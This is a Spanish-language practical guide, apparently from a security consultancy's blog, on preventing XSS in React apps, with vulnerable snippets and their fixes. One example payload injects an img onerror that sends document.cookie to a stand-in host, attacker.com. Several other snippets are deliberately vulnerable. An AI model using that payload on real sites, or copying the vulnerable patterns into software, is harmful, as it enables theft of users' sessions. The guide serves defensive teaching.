XSS en Apps React - Guía Práctica de Prevención
Guía práctica para prevenir XSS en apps React: errores comunes, ejemplos vulnerables y formas reales de romper la protección por defecto.
Compartir
Siguiente paso
Si esto te toca de cerca, mejor mirar tu stack real.
Abrimos Calendly aquí mismo, sin mandarte antes a otra página.
En este artículo
- Cómo funciona XSS en la práctica
- React escapa HTML por defecto
- Las 5 formas de causar XSS en React
- 1. dangerouslySetInnerHTML sin sanitizar
- 2. Event handlers dinámicos con eval()
- 3. Atributos href dinámicos
- 4. Contenido traído de API sin validar
- 5. JSON en script tags (Server-Side Rendering)
- Checklist: ¿estás protegido?
- Herramientas de sanitización
- Content Security Policy (CSP)
- Resumen
- Referencias
Lo esencial
Este artículo está pensado para ayudarte a entender prevenir XSS en React sin ruido, y decidir si te conviene corregirlo tú o revisarlo antes de salir a producción.
Cross-Site Scripting (XSS) es cuando un atacante inyecta JavaScript en tu app para acceder a:
- Cookies de sesión
- Tokens de autenticación
- Datos personales del usuario
- Control completo de la página
React es mejor que otros frameworks para prevenir XSS. Pero puedes romper esa protección fácilmente si no sabes qué evitar.
Cómo funciona XSS en la práctica
Imagina un sistema de comentarios:
export default function Comments({ comments }) {
return (
<div>
{comments.map((comment) => (
<div key={comment.id}>
<p>{comment.author}</p>
<p dangerouslySetInnerHTML={{ __html: comment.text }} />
</div>
))}
</div>
);
}
Un atacante comenta:
<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)" />
Resultado: Todos los usuarios que lean ese comentario verán cómo se roba su cookie de sesión. En silencio, sin que nadie lo note.
React escapa HTML por defecto
Lo bueno: React escapa HTML automáticamente cuando usas JSX normal.
const maliciousText = '<img src=x onerror="alert(1)" />';
// React LO ESCAPA AUTOMÁTICAMENTE
<p>{maliciousText}</p>
// Renderiza como texto plano, no como HTML
// <img src=x onerror="alert(1)" />
El problema aparece cuando rompes esta protección intencionalmente (o sin saberlo).
Las 5 formas de causar XSS en React
1. dangerouslySetInnerHTML sin sanitizar
// ❌ VULNERABLE
function UserProfile({ bio }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}
// Usuario pasa: bio = "<img src=x onerror='alert(document.cookie)' />"
// → Se ejecuta el alert
✅ Solución 1: Sanitizar con DOMPurify
import DOMPurify from 'dompurify';
function UserProfile({ bio }) {
const cleanBio = DOMPurify.sanitize(bio);
return <div dangerouslySetInnerHTML={{ __html: cleanBio }} />;
}
✅ Solución 2: Evitar dangerouslySetInnerHTML
Si el contenido es solo texto, no lo necesitas en absoluto:
function UserProfile({ bio }) {
return <p>{bio}</p>; // React escapa automáticamente
}
2. Event handlers dinámicos con eval()
React protege event handlers automáticamente: deben ser funciones, no strings.
Pero si usas eval(), estás en peligro:
// ❌ SUPER VULNERABLE — nunca hagas esto
const onClickString = "alert('clicked')";
eval(onClickString);
✅ Solución: Nunca uses eval(), Function() o setTimeout(string).
3. Atributos href dinámicos
// ❌ VULNERABLE
function Link({ url }) {
return <a href={url}>Click</a>;
}
// Alguien pasa: url = "javascript:alert('hacked')"
// El link ejecuta JavaScript en lugar de navegar
✅ Solución: Valida que la URL use http o https
function Link({ url }) {
const isValidUrl = url.startsWith('http://') || url.startsWith('https://');
return (
<a href={isValidUrl ? url : '#'}>
Click
</a>
);
}
4. Contenido traído de API sin validar
// ❌ VULNERABLE
useEffect(() => {
fetch('/api/user-profile')
.then(r => r.json())
.then(data => {
document.getElementById('bio').innerHTML = data.bio; // ❌
});
}, []);
Si la API devuelve HTML malicioso (por una brecha en backend), se ejecuta directamente.
✅ Solución: Sanitiza en el backend
// Backend (Node.js)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.get('/api/user-profile', (req, res) => {
const user = getUser(req.userId);
const cleanBio = DOMPurify.sanitize(user.bio);
res.json({ bio: cleanBio });
});
// Frontend — usa textContent, no innerHTML
useEffect(() => {
fetch('/api/user-profile')
.then(r => r.json())
.then(data => {
document.getElementById('bio').textContent = data.bio;
});
}, []);
5. JSON en script tags (Server-Side Rendering)
// ❌ VULNERABLE en SSR
function Page({ userData }) {
return (
<script
dangerouslySetInnerHTML={{
__html: `window.__INITIAL_DATA__ = ${JSON.stringify(userData)}`
}}
/>
);
}
// Si userData contiene </script>, puedes romper el contexto HTML
✅ Solución: Usa serialize-javascript
import serialize from 'serialize-javascript';
function Page({ userData }) {
return (
<script
dangerouslySetInnerHTML={{
__html: `window.__INITIAL_DATA__ = ${serialize(userData)}`
}}
/>
);
}
Checklist: ¿estás protegido?
- [ ] ¿Usas
dangerouslySetInnerHTML? Si sí, ¿sanitizas con DOMPurify? - [ ] ¿Todos los atributos
hrefvalidan URLs (solo http/https)? - [ ] ¿Nunca usas
eval()oFunction()? - [ ] ¿Validas el contenido de la API en el backend antes de servirlo?
- [ ] ¿Usas
textContenten lugar deinnerHTMLcuando accedes al DOM directamente?
Herramientas de sanitización
| Librería | Uso | Tamaño | |----------|-----|--------| | DOMPurify | Sanitizar HTML en browser | 16KB | | xss | Librería ligera de sanitización | 50KB | | sanitize-html | Node.js sanitization | 90KB | | serialize-javascript | Serializar para script tags SSR | 5KB |
Mi recomendación: DOMPurify para React.
npm install dompurify
npm install --save-dev @types/dompurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize('<script>alert(1)</script>');
// Resultado: '' (vacío — el script fue eliminado)
Content Security Policy (CSP)
La CSP es una capa extra de protección a nivel de HTTP headers.
// Next.js: next.config.js
module.exports = {
headers: async () => {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';"
}
]
}
];
}
};
La CSP reduce la gravedad de un XSS incluso si falla la sanitización. Es tu red de seguridad.
Resumen
XSS es prevenible si sigues estas reglas:
- React escapa por defecto — aprovéchalo al máximo
- Evita
dangerouslySetInnerHTML— o sanitiza si lo usas - Valida URLs en atributos — especialmente
hrefysrc - Sanitiza en backend — no confíes solo en frontend
- Implementa CSP — capa extra de defensa
Si usaste Cursor o Lovable, revisa tu código. Probablemente encuentres dangerouslySetInnerHTML sin sanitización en algún lugar.
si quieres revisión profesional.
Referencias
[1] OWASP. (2024). Cross Site Scripting (XSS). https://owasp.org/www-community/attacks/xss/
[2] React. (2024). DOM Dangers. https://react.dev/learn/manipulating-the-dom-with-refs
[3] DOMPurify. (2024). Documentation. https://github.com/cure53/DOMPurify
Si ya estás cerca del lanzamiento, mejor revisar el caso real.
Podemos mirar auth, configuración, secrets, datos y deploy antes de abrir producción. En 30 minutos te digo si necesitas diagnóstico, auditoría o hardening.
Seguir leyendo